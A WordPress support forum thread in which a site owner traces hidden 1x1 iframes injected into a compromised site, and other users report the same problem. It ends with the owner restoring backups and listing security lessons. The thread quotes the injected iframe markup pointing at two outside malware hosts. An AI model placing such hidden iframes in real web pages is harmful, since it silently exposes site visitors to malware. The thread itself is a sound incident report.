• I got an alert from Google that our site was hosting malware. I found that two iframes had been inserted into our site. I upgrade WP to the lastest, changed the secret keys and restored a backup database with no luck. now after three hours of fighting this I nuked everything. Deleted all of the wordpress files, deleted the database, recreated the database and copied the the new WP files. THE IFRAMES ARE STILL TEHRE!

    <body>
    <iframe src="https://www.hilopoty.in/images.php?t=44443094"  width="1" height="1"></iframe>
    <iframe src="https://ebigtree.info"  width="1" height="1"></iframe>
    <h1 id="logo"><img alt="WordPress" src="images/wordpress-logo.png" /></h1>

    This is the wordpress success page. How can I be getting this if it as fresh of an install as it gets?

Viewing 9 replies - 1 through 9 (of 9 total)
  • Which file are the i-frames located in? Is it in your theme?

    Thread Starter mprindle

    (@mprindle)

    I’ve stripped the site to the bare bones. It’s got a fresh newly created DB, I deleted all of the WP files and copied them fresh from a fresh DL from WP.org. It’s using the stock 2011 WP theme with nothing added to it.

    The same thing happened to me today. I can’t find it! I’ve manually looked at every file and deleted malicious code from php files yet it’s still there.

    Sometimes it is necessary to repalce the entire theme files because these hackers can install the code in the template files. By replacing the theme files you know for sure that there isn’t any code in the themes’ files.

    Also, when you recreate the database, give it a new name so that the old DB is never used. I am, of course, assuming you are not concered about the old blog posts, comments and pages. Sometimes this is not possible.

    Hope this helps.

    same with me here, it keeps getting back.

    Thread Starter mprindle

    (@mprindle)

    I’ve got database backups going back to 2010 so that’s no an issue. I may try to change the database name, but not sure how that could help. Right now I’m wondering if my host has been compromised.

    For the others that are having this issue are you seeing the same iframe entries?

    Thread Starter mprindle

    (@mprindle)

    I thinking I’m working w/ my host on this issue cause it doesn’t appear to be wordpress. Fresh install with a new database, no 3rd party templates and the code is still there. One thing odd is I only see the code being injected when my UserAgent is set to FireFox. When it’s set to Chrome it’s not there.

    Thread Starter mprindle

    (@mprindle)

    Well got it all worked out. How ever they broke in the hackers modified every php file in my entire account. They ejected some encrypted php code. I deleted everything, uploaded old clean backups, uploaded the latest WP version, upgraded the database, and changed the password and salts in WP-Config.

    It appears they were unable touch my databases or they didn’t try, not sure. I didn’t have the tables with the default prefixes and the database passwords were 18 characters randomly generated.

    All I can say is what a PITA!

    @kmessinger – Thanks for the link to the sucuri scanner that helped to make sure I was clean before resubmitting to Google to crawl.

    General lessons learned:
    * Keep wordpress updated to the latest version!
    * Backup – wp-db-backup plugin is your friend to keep your db backups current
    * Backup your wordpress files on a regular basis. If your site is hacked you just nuke the files in your account and copy your backup in.
    * Don’t use the same database account/password across multiple WP installs
    * Use a random password generator with as long/strong as a password possible in wp-config, you’ll be the only one that see’s it and if you forget it you can look in wp-config.
    * If a break-in is suspected, change the salts to invalidate all cookies

Viewing 9 replies - 1 through 9 (of 9 total)
  • The topic ‘WordPress hacked, stripped to the bones and still there’ is closed to new replies.